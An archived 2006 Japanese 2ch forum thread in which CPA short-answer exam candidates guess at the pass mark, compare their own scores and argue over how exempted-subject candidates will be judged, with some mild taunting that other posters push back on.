2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

☆公認会計士【短答式】試験総合スレ45☆

1 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 17:55:17 ID:???
立てちゃったよ☆(ゝω・)vキャピ

前スレ
☆公認会計士【短答式】試験総合スレ44☆
http://school5.2ch.net/test/read.cgi/exam/1150900921/l50

2 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:03:14 ID:???
二都主

3 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:04:08 ID:???
http://www.jpo.go.jp/torikumi/benrishi/benrishi2/h18tan_goukaku.htm

平成18年度弁理士試験短答式筆記試験の合格基準点について
合格基準点は 37点 です。
工業所有権法及び条約免除者の合格基準点は 6点 です。

前スレに張ってあったけど、こっちは6割基準で37/60だな。

4 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:05:52 ID:???
>>3
6点てどういうこと?

5 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:08:01 ID:???
4科目受験
企17 監14 管15 財24 ボーダー70%
3科目受験
企17 監14 管15    ボーダー76.6%
1科目受験
企17          ボーダー85%

キタコレ。 

免除者の皆様、少し青ざめてください。

6 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:09:06 ID:???
6/10ってことっぽい。50個分免除らしい。
つかこの試験開示がすごすぎる。
わざわざ受験回数まで書いてくれてるw
5回以上がざらにいるのはすごいな。

7 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:09:52 ID:???
6割基準で61・7か。
70ピッタリにしなければならない、ってわけじゃない
みたいだな。例年通りだと72〜73からどこまで下がるかは
合格者がどこまで増えるかによるという至極ありふれた結論
で終わっちゃうわけか。

そもそもリサーチ例年通りで73ってのがあたってる
とは思えないが。

8 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:11:58 ID:Y5j/mqWg
財 25〜26
菅 15〜16
企 17〜18
監 15〜16
計 (min72,max76−4/2)=74
去年の感覚だとこんな感じかと。今年は?73ぐらいかな

9 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:12:36 ID:???
弁理士は60%を最低として、あとは試験委員が論文見れる人数基準だってさ。
そのボーダーが37で合格率は31%のようです。

10 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:14:31 ID:???
>>8の各科目ボーダーは正直きついなぁ
この短答式はいつの年でも、ミスが1つも許されない試験ではない。

11 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:16:42 ID:???
来週の今頃・・・

「なんだ、結局こんなものか・・・思ったより
母集団のレベルは高くないな」=ボーダー70

「この試験、逆に難しくなってないか?運次第では落ちかね
ねーぜ・・・」=ボーダー74

12 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:26:58 ID:???
すごいね。

免除者は別にボーダー設定か。
4科目合格者の各科目平均で出せば良いから簡単に出せそうだね。
絶対数が少ないから、合格人数への影響も少ないだろうし。

13 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:29:45 ID:???
来週(7月5日)の午前9時に監査審査会のホームページで発表だとよ。

14 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:48:11 ID:???
結局どの試験も人数できるんだな。

15 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 18:52:41 ID:HOjRe6hY
ボーダー75で このスレを終了させていただきます。
皆様ありがとうございました。

16 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:07:58 ID:???
もう今頃は審査会内部では、合格人数とか合格点とか既に決まってんだろうな〜。

17 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:17:19 ID:???
財務会計で人数絞る戦略だから無理じゃねーの

18 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:25:02 ID:???
4科目受験
企17 監14 管15 財22 ボーダー68%
3科目受験
企17 監14 管15    ボーダー76.6%
1科目受験
企17          ボーダー85%

らしいな


19 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:25:41 ID:???
しかし、新制度では基本問題を中心に出題するという事前のアナウンスは見事に裏切られたなぁ>>財会

20 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:28:37 ID:???
>>16
毎週火曜に審査会やるから、昨日決めたんだと思う。
合格者への通知書の発送もあるから今頃、印刷してるところだろう。

21 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:39:30 ID:???
免除も含め一律7割だったらどうするよ

22 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:52:02 ID:???
>>21

ありえない。










と願いたい。

23 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:55:22 ID:???
一律7割で切っちゃうと、今年みたいに免除科目以外(企業法等)が簡単な時はいいけど、
逆に難しいとき(たとえば企業法のボーダーが6割)の時は免除者が著しく不利になるから
そういう意味でもボーダーは分けないと困ると思うな・・・
まあ、財会が企業法より簡単になることはないって言われたら何も言えないけど。

24 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:56:03 ID:???
確かに総得点の70%前後を基準に・・・・、
と書いてあるだけで、免除と不免除で合格ラインを均一にするとは書いてなかったしな。
免除組は今何を思っているんだろ。。。

25 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:56:43 ID:???
審査会に聞いたところ、一律ときいたから、免除申請したんだが…
会18監14管14

26 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 19:58:16 ID:???
一週間後・・・
【合格点 75点】

某学院長 「私は最初からそう思ってました。」


オイオイ...

27 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:02:59 ID:???
>>25
一律じゃなかったらヤバそうだな

28 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:03:09 ID:???
弁理士試験の短答試験合格者最高年齢91歳って。。。
どんな人生設計なんだろ・・・・

29 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:03:28 ID:???
どうでもいいが、
短答スレにこの時期いる奴らのレベルが、
今年は例年よりきわめて低い。
昨年までは今年でいう74以上の奴らが煽りあってたわけだが、
金融庁の70%基準がこうさせているのだろうか・・

30 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:05:11 ID:???
もし一律だと今年の場合財務免除は全員合格になっちゃう

これを審査会が見過ごすとは思えないけどな

31 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:06:53 ID:???
>>30
っていうか、簿財免除の実効性を出すためにそうすると考えるのが妥当だろ。

32 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:09:48 ID:???
審査会が意味する「相当」が、素直な意味とは思えなくなてきたorz

33 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:10:10 ID:???
そもそも何で新試験なのに、短答の個人点数を公表しないんだ?
旧司法試験ですら全員に公表してるのに。
しかも人数なんで比にならないくらい司法の方が多いだろよ。

34 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:23:26 ID:???
財務免除は大原だけでも最低300人はいるから、受験者全体では低く見積もっても1000人程度いるでしょね。
また、免除者は簿財を合格してきた人達がほとんどだと思うので、相対的に実力はあると思う。
とすると、低く見積もっても8割は最低でも7割は確保してきてると思うので、免除者の合格人数は最低でも500人はいるでしょう。
これが一般受験者の合格席にどう影響するか楽しみです。

35 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:28:08 ID:???
>>25

一律っていうのは、「免除者同士で」っていう意味じゃないの?

36 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:31:05 ID:???
大原の成績表だと財務1580で管理1700で企業も1707だから
免除300もいないと思うんだけど。

37 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:32:52 ID:???
免除者が1000人近くいるらしいから、合格点74〜75%くらいにしないと
4000にんこえちゃわないか?どう考えても免除の平均得点75%は超えてるだろ。

不動産鑑定士の結果見る限り人数できってるから4000人免除込みでいったい何人
いるかが問題だろ。

38 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:34:00 ID:???
てか科目免除の趣旨は短答突破を容易くするための制度。それは広い分野から多く人材を募るため。
だから免除者からたくさん合格者が出るってことは当初の目論み通りということに。
ここの人達は希望的解釈が過ぎてるよね。

39 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:37:36 ID:???
簿財やら経理実務7年の免除でどれだけ幅広い人材が集まると期待してるんだろね。
会計士崩れの税理士受験生とか多そうだなw

40 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:39:17 ID:???
他の国家試験と比較しても無駄、主催者が違うんだから。
それに司法なんて模擬試験出すほどなのに会計士は全くなし。
それにそれぞれ置かれている状況が違うんだし。

41 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:46:14 ID:???
よって、ボーダーは76。 ありがとうございました。

42 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:54:44 ID:???
科目免除の趣旨が免除者の短答容易化だとしても、それは少数の科目に投入資源の集中が
可能になるという点で果たされるのであって、さっき誰かも書いてたけど、一律のボーダーは
免除者に有利にも不利にもなる可能性があるから趣旨達成のためには問題があると思う。

43 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 20:59:25 ID:???
>>42 おまえよお、今までの論文の採点が傾斜配点なのみて有利不利なんて
こうりょするとでもおもってんのw


44 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:05:44 ID:???
もうボーダーとかどでもよくなてきた。
自分が受かってればいいや。

45 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:10:23 ID:???
不動産鑑定士の合格点が80%だったのみて疑義抜き82のちょいとびくついた
小心者の俺

46 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:16:59 ID:nbl81vAK
ちなみに弁理士試験の昨年の合格点は41点(68.3%)でした。概ね6割基準は
昨年も明記されていました。

47 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:18:19 ID:???
結局、基準なんて全然意味ないじゃん。

48 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:18:36 ID:???
公認会計士試験の実施についてというファイルに免除の扱いが載ってるね。
免除がある場合には、免除科目を除いた他の科目の得点比率で判定すると書いてあるわ。
そのまんま読めばボーダーは一律なんだろうね。

ただ、それを明示することが適切であるって書いてあるけど、
この文章以外には明示されていないのが気になるところかな。
同じように合格比率も明示することが適切であるって書いてあるんだけど、
こっちは逆に他の文章で60%を基準としてとか70%を基準としてとかちゃんと明示してある。

結局、願書に明示してあるならボーダーは一律で確定じゃない?
それが無いなら実際どうなるか分からないかな。
でもこのファイルでは短答の合格発表はもっと早めたいという風に書いてあるんだけど、
それすらも実現しなかったみたいだし、信憑性自体微妙かも。

免除の扱いが気になるAS生のたわ言です。長文失礼いたしました。

49 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:33:31 ID:HOjRe6hY
タックと大原のデータリサーチを 統計学者を交えて分析した結果

ボーダーは76(合格者3500人程度の場合)

これは タックの座談会予想にも一致する

50 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:34:04 ID:???
短答だから得点調整とかしにくいと思うけど
日商1級は70%が合格点と発表されてるが
事実上上位1割
税理士も60%が合格点と発表されてるが
事実上上位1割

70%なんて目安に過ぎないでしょう
だからこその「基準として〜」の文言をわざわざつけたんだろうし

51 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:39:01 ID:???
ここまで科目間で難易度に差がでるとは思ってなかったんじゃ
ないかな?
企15 監14 管14     得点比率71.6%とか、
企15            得点比率75%で合格で
企18 監14 管15 財24  得点比率71%で不合格って、
4科目受験者せつなすぎるぞ。
あんまり不平等だと結果として受験者減っちゃうんじゃない?

52 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:40:54 ID:???
短答のボーダーが2つ出てきたらかなりサプライズだな。

53 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:44:29 ID:???
>>51
もはや昨年の時点で受験者数減ってるんだが。

54 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:47:26 ID:lpG5pqCl
>>51
不平等なのはやる前からわかっていた悲しい事実だよ。

55 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:50:55 ID:???
企業で15とる難易度って4科目受験だと65くらい?
もういいよ、65まで受からせちゃえ。科目間で差があるのに
免除者とかめんどくさいこと決めたのは役所のほうだし、
その報いで合格者増で採点大変だとしても知らんわ。

56 :一般に公正妥当と認められた名無しさん :2006/06/28(水) 21:53:08 ID:???
65で、5314人合格だそうです。

57 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:53:46 ID:aS37vMQI
ちょっとリアルw

58 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:54:48 ID:???
>>55
免除者はほとんど合格で、4科目受験者はボーダー引き下げによる
大量合格で不平等感を解消。キタコレ。まさにお役所仕事だわw

59 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 21:57:20 ID:???
イン逃げなら76に一本買い。
蝦子買いなら74で千円券押さえて。

60 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:00:56 ID:???
自己責任 格差社会
人生いろいろ 試験もいろいろ

61 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:18:27 ID:???
>>56

誤差イーヨ

62 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:25:17 ID:???
ってか結局ボーダー70%にすればいいんじゃない?
これなら免除者はほとんど合格で免除の優位性を享受できるし、
短答で論文受けるための最低限の知識があるかを問うという点
からも、4科目で70%ならOKでしょ。ボーダー一律も実現
できるし、不平等感もそれほどないし、合格者増で、
会計士増やすっていう方向性にも合致してる。
なんも問題なしw

63 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:32:19 ID:???
>>62
ねー。合格者増えるといいねー。

64 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:32:56 ID:???
2チャンネルボーダーは76ということで中グロに送ってもいいかな?

65 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:35:16 ID:???
>>51
>得点比率71%で不合格って、 4科目受験者せつなすぎるぞ。

71点は昨年までの基準なら確実に不合格です。


66 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:39:19 ID:lpG5pqCl
>>65
今年は去年と比べて企業・管理が昜

67 :一般に公正妥当と認められた名無しさん :2006/06/28(水) 22:39:34 ID:???
前スレで「今年は理論頼みのベテが失敗した」という意見あったけど
今年は計算苦手な人にはむしろチャンスだったんじゃね?。

管理は8題が理論、財表もできる人なら12題は取れた。簿記も難しかったが
上級計算テキストレベルを復習していれば15問くらいは対処できる。
その15題以外がかなり難しくて簿記得意な人との差があまり開かなかった。

68 :一般に公正妥当と認められた名無しさん :2006/06/28(水) 22:45:09 ID:???
予備校の人の多さを考えると、ボーダ75くらいの気がしてきた。
直前期に来てる人たちは例年の倍いる。
去年の短答合格者の倍は6000人として、
今年なら67〜がきていることになる。
半分に削るには75くらいかと。

69 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:48:02 ID:???
公認会計士以外の資格試験の情報が出るたびに騒がしくなるね。

なんとも。



70 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:48:48 ID:???
あの程度の簿記と財表なら七割は必要。
タック講師陣も言ってた。
むしろ1科目でも7割切った奴を足きりにして、
残り合格って制度にしたらいいのに。
合格者2000人切るかな?

71 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:52:45 ID:???
>>70
合格者2000人て士補除いて?
士補除いて1300〜1400人だろ。それ以上だと合格率8.5%を超えちゃうジャン。
士補込みだと3000人超えるんじゃね?

72 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:55:41 ID:???
>>71
70は短答合格の話をしてるんだよ。

73 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:56:22 ID:???
どっちにろ70%で一律に切るんじゃねーか
結局何のサプライズもなさそうな希ガス

74 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:58:57 ID:???
はなから、七割ない人はだめだろな。
あとは七割以上の中での人数基準。

75 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 22:59:42 ID:???
同じ3大難関国家試験の不動産鑑定士が俺に勇気を与えてくれた。
頼む。ボーダー74。

76 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:00:15 ID:???
不動産鑑定士のほうはとんでもなく簡単だったんでしょ

77 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:04:20 ID:???
財務会計だけがこれだけむずいと
今年の税理士簿財は大変そうだ


78 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:05:18 ID:???
ボーダーはどう考えたって72〜74前後
合格者増えるのを前提にだ。

あの問題で7割とれないって?
難しいって?
財務6割とれないって?
おまえらそんな実力でいつこの試験に受かるつもりなんだ?

口調は煽り風だが言ってることは妥当だと思う。

参考までに70以下のやつ、
【大学】
【受験歴】
【年齢】
【論文全答練】
【1日の平均的な実質勉強時間(講義含む)】
をさらしてみろ。
どうせ大半がマーチかつ
初年度orセンスなしベテ
又は勉強時間足りない
当てはまるはずだ

79 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:07:37 ID:???
>>78
口調はともかくとして、いっていることは至極当然だと思うよ。

80 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:08:24 ID:???
【大学】 慶応
【受験歴】 三回目 短答全部突破。毎回論文でとんでもないみすをやらかす
【年齢】  23
【論文全答練】 300くらい(AWAY大原)
【1日の平均的な実質勉強時間(講義含む)】 週Cくらい。七かけ4=28


81 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:09:07 ID:???
>>78 あごめん。85だった

82 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:09:32 ID:???
さすがに70未満の奴なんてもうこの板にいないでしょ…。


83 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:10:13 ID:???
>>78
そういう挑発はアラシの元だろ。
ボーダー72〜74。それだけでいいじゃん。


84 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:11:34 ID:???
「70」と「72〜74」

80後半の俺からすれば大した違いは無い

85 :78:2006/06/28(水) 23:12:01 ID:???
>>80=81
よし、まぁその実力ならそんなもんだろう。
次はミスしないようにがんばれ。
85、実力通りだね。

はい次!

86 :78:2006/06/28(水) 23:13:52 ID:???
いや前スレ見てきたんだが
難しいとか財務6割無理とか
そんなこと言ってる奴らいたから
甘えた考えを正そうと思った。

でしゃばりすまん

87 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:15:10 ID:???
逆に70以上で煽ってるやつってここにいるの?
普通なら租税の重さで尋常じゃないはずだけど

88 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:16:44 ID:???
【大学】 東京
【受験歴】 三回目 短答全部突破。論文は1回目B、2回目A(この年はショックで一時自分を見失う)
【年齢】  23
【論文全答練】 なし(昨年大原模試400〜500位)
【1日の平均的な実質勉強時間(講義含む)】 一日5〜8時間×6日
【06年短答】企業18監査13管理19財務31 合計81


89 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:16:56 ID:???
>>87 もうほぼ極めてしまいました。あんたたんとう特化したからじゃないの?

90 :78:2006/06/28(水) 23:17:26 ID:???
>>87
おれ余裕あるけど多少。
もう内容はできてるし答練回すだけだから。
経営が若干重いけど。
短は89か90

91 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:18:29 ID:???
>>87
俺がそうだけど?
どんなに勉強してても、掲示板のぞく時間くらいあるだろw

92 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:18:40 ID:???
78の経歴さらしてくれよ

93 :78:2006/06/28(水) 23:19:44 ID:???
>>88

無難な結果ですな。
論文がある程度できる人は
多少財務に麺食らったとはいえ
やはり80以上はとってくる。
70とれないのはやはり勉強不足

94 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:19:59 ID:???
>>86
いや、その考え方、ほんとでしゃばり過ぎだよ


95 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:21:37 ID:???
もし短トウ落ちがここで煽ってたらやばいよなw


96 :78:2006/06/28(水) 23:21:45 ID:???
>>92
大学は早慶の上位
今年3回目
1年目短答42
2年目遊ぶ
3年目短答89〜90
全答は2桁
次は1桁目指してる
23歳になった。

97 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:23:46 ID:???
早慶の上位ってなんだ?

98 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:24:02 ID:???
70以上のやつが煽るかな普通?

99 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:25:46 ID:???
一番不安がってる73,4あたりが煽ってるんじゃないか?

100 :80:2006/06/28(水) 23:25:48 ID:???
>>78 あんたやるねえ。TAC生だったら去年勉強してたら余裕でうかれたろw
もったいない。まあ俺も短答あんま勉強しなかったから論文に向けて七月から入れるよ

101 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:26:05 ID:???
>>98
お前まさか70未満なの?

102 :78:2006/06/28(水) 23:26:05 ID:???
>>94
わかってる。
でも3月くらいからずっとここの質問に真面目に答えてきたおれにとって、
7割やそのくらいの人は残念だったかもしれないけど
もう現実を見て勉強しろよ、ぐだぐだ希望的観測をぶつけあってどうする

こう思った。
勉強が足りないんだと思った。
普通に(真面目に)勉強して7割取れないのが不思議

103 :88:2006/06/28(水) 23:26:28 ID:???
てかすごいじゃん。
遊ばずにやってれば昨年通ってたんじゃないの?
俺は昨年あまりのショックに11,12月は全く茫然自失の日々でちんたら単位をとり終わった大学の授業を半分眠りながら受け続ける毎日だったよ。
2年目遊ぶって何やってたの?

104 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:27:04 ID:???
定期的に電波が発生するスレですね。

105 :80:2006/06/28(水) 23:27:26 ID:???
>>103 女遊びでしょ

106 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:27:54 ID:???
>>93
70以下は勉強不足って・・・
自分の物差しで計って人にケチつけるなや

自分だって複数受験歴あるんだから一発合格者から見たら勉強不足って言われるかもよ?
気分悪くないか?


107 :78:2006/06/28(水) 23:29:29 ID:???
>>97
商学部とかではないってこと

>>100
去年は遊んでたのと
自覚はなかったが半分鬱だったのもあった
(今だからわかる)
過ぎたことは仕方ないから今年はがんばりたい
後悔もするけど、今がんばることしかできないから

108 :80:2006/06/28(水) 23:29:52 ID:???
>>106 勉強不足って言われても俺は否定しないよw。実際朝から晩までなんて
いたことねえし。そうやって毎日努力し続けることは俺にはできなかった。
だからそこまでできるやつらは尊敬してるよ

109 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:30:31 ID:???
おれの回りで68・69いるけど租税ガンガンやってるよ
煽ってる人は通信生?
なんか温度差めっちゃあるんだけど

110 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:31:53 ID:???
商だろうが経済だろうが所詮、低脳未熟w

111 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:31:56 ID:???
>>99
73、74で不安??

112 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:32:36 ID:???
>>111
一番ひらきなおれない人たち

113 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:32:54 ID:???
>>109 そういうやつら来年うかるよ。努力は報われるようになってる。
だけど今年は無理だね。不動産鑑定士の結果でて明らかになった。
72〜74のやつらがどきどきすべきでほかのやつらは無理だよ。
78のいうとおり現実を受け止めて死ぬほど勉強してくれ

114 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:32:56 ID:???
どうせ>>78はプライドだけは高い慶應経済だろうな。

115 :78:2006/06/28(水) 23:32:57 ID:???
>>106
いや、自分より頑張ってる人に言われるならいい
が、確かにおれも悪かった。

でも、何か月もこのスレを見守って
質問にも答えてきた。何も言わずにはいられなかった。

おれのエゴだ。勘弁してくれ。すまん。

116 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:34:49 ID:???
60%を基準として相当と認める点数で毎年60%きってるのは無視なのか?
はっきり言って鑑定士のボーダーよりは指針になると思うが・・・。

117 :78:2006/06/28(水) 23:35:23 ID:???
>>109
いや通ってるよ。
だから租税ガンガンやって開き直れてるやつならいいんだよ。
何も文句はないし、その精神力はむしろ尊敬できる。

118 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:36:05 ID:???
明日自習室に
「会計士短答75未満の方は75以上の方に自習室の利用をお譲りください」
と黒板に書いておこうと思う。

119 :一般に公正妥当と認められた名無しさん :2006/06/28(水) 23:37:55 ID:???
>>78
とりあえず未満と以下を使い分けようなw

120 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:40:22 ID:lpG5pqCl
>>118
冗談でも言うな。自分がそれくらいの点数の時考えろ

121 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:40:33 ID:???
66ぐらいでも余裕で自習室占拠してるよね

122 :78:2006/06/28(水) 23:40:33 ID:???
>>115
むしろ75未満のやつも一生懸命やれって書いとけw
おれいつもアサイチだから書いとくか。

おれはこの試験3回目だ。
1回落ちただけで、そのコストは
お金以上にもう1年かかることだってのがわかった。
7割いかなかったやつも現実を見てがんばらないでどうする。

123 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:42:18 ID:???
TACのドアの閉まるのがうるさい自習室で、ドアは静かに閉めてください
と黒板に書き、更に入り口のドアに張り紙をした人を過去に見たことがある。



124 :一般に公正妥当と認められた名無しさん :2006/06/28(水) 23:42:40 ID:???
それはそうと、大原の場合、短答落ちと短答受かり論文全滅(科目合格なし)
で07上級の学費が10万近く違うんだよな。できれば受かりたいところだ。

125 :78:2006/06/28(水) 23:42:46 ID:???
>>103
ごめん飛ばしてた。
そりゃバイトとか女遊びとか免許取ったり地元に帰ったりゲームしたり
なぜおれはあんな無駄な時間をorz

126 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:43:01 ID:pGRSr3BM
垢好く有利として 16ぎり
財務免除 46ぎり

127 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:43:03 ID:???
短答合格者決定会議で出された飲み物って「お〜いお茶」かな?


128 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:44:26 ID:???
なんでお〜いお茶なの?

129 :一般に公正妥当と認められた名無しさん :2006/06/28(水) 23:44:56 ID:???
73の俺が言っても説得力ないけど78は取れる試験だったなと思う
俺が取れたという意味ではなく、論文へ進む標準的な受験生であれば
ミス無ければ取れるという意味。

130 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:44:57 ID:???
4科目受験
企17 監14 管15 財22 ボーダー68%
3科目受験
企17 監14 管15    ボーダー76.6%
1科目受験
企17          ボーダー85%

らしいな


131 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:46:53 ID:???
タバコやめよかな。

132 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:47:34 ID:???
7割取れなかっただけで「勉強不足」と責めるのは厳しすぎると思う。
当日のプレッシャーや不運等で失敗する人もいる。複数回受験生でも。

そうではなく、あの問題で7割取るは学力的にも難しいことと考えてる人は
「勉強不足」だと思う。(初回の人は時間が足りないから責める意味ではないよ)

133 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:47:54 ID:???
>>130
お前、試験の仕組み理解してるか?

134 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:48:54 ID:???
さて、そろそろ所得の勉強始めるか・・・
27 40 / 27 35 / 38 48(+35) / 38 48 58 63(+35)

すぐ忘れそう・・・

135 :88:2006/06/28(水) 23:49:19 ID:???
>>125
いやそういう時間が必要なときもあるさ。時には「遊び」がないと。
まあその成績で今年頑張ってるのなら論文も大丈夫だよ。
自分はそこまで成績はよくないけど、受かるまで頑張るつもり。
いつ受かるのかは神のみぞ知るだけど。。。





136 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:49:44 ID:pGRSr3BM
130は限りなく正解に近い
でも、
17に満たない垢好く多いので
油断は禁物です

137 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:51:09 ID:???
短答落ちした場合の機会コスト
普通に会計士したらもらえたであろう金額 手取りで400万くらいか。
短答落ちした場合の学費、学校までの交通費
平均40万くらいか。
短答落ちした場合の周りの評価や自己嫌悪によると心理的負担 プライスレス。
お金では買えない価値がある。
短答式試験。

138 :78:2006/06/28(水) 23:52:15 ID:???
>>132
いや、勉強不足か明らかに向いてない
さっき誰かが書いてたけど78は取れていい内容(学力的に)
標準的にできる人は8割取ってる

なんらかの原因で点数が実力より低くなってしまったとしても
標準的にできる人なら70は切るはずがない。
切るはずがない。


139 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:54:03 ID:???
どっちにしろ財務免除を得点比率で換算したら60台の人は
厳しいんじゃないか?というか不可能?

140 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:54:53 ID:???
>>138
俺は80後半とれたけど、解答速報を見る前なら自分は60でもおかしくないと思ったぞw


141 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:55:09 ID:???
住宅借入金特別控除で
期末借入金と比較する金額って結局3000万か4000万のどっちなの?
平成17年まで後者で平成18年以降は前者って・・・・。
ただでさえややこしいのにころころ変えないでほしい・・・・

142 :78:2006/06/28(水) 23:55:17 ID:???
>>135
いや、必ずしも受かるとは言えないんだ。
受かるつもりではあるけど。
1年目だって全答名前は載ったけど落ちたし。
まぁ苦手科目があったからいけないんだが。

苦手科目さえなくしてミスさえなくせば誰にだってチャンスはある。
怖い試験だけどお互いがんばりますか。

143 :78:2006/06/28(水) 23:58:31 ID:???
>>140
でも結果的に80後半だろ?
そこで60台か80台になるかが実力差。
80台のやつだって簿記が簡単だとは思っていないが
できるところを確実に取ってる。
むしろ他の3科目で確実にとってる。

7割以下のやつは簡単だった企業管理で何点か落としてもいるはず

144 :一般に公正妥当と認められた名無しさん:2006/06/28(水) 23:59:17 ID:???
>>142
>1年目だって全答名前は載ったけど落ちたし。

この程度の経験はしてるのに何で↓のような言い切りできるのかわからない。

>なんらかの原因で点数が実力より低くなってしまったとしても
>標準的にできる人なら70は切るはずがない。
>切るはずがない。



145 :78:2006/06/29(木) 00:01:01 ID:???
>>141
3000でいいと思うよ
たぶん今年はでないしね。

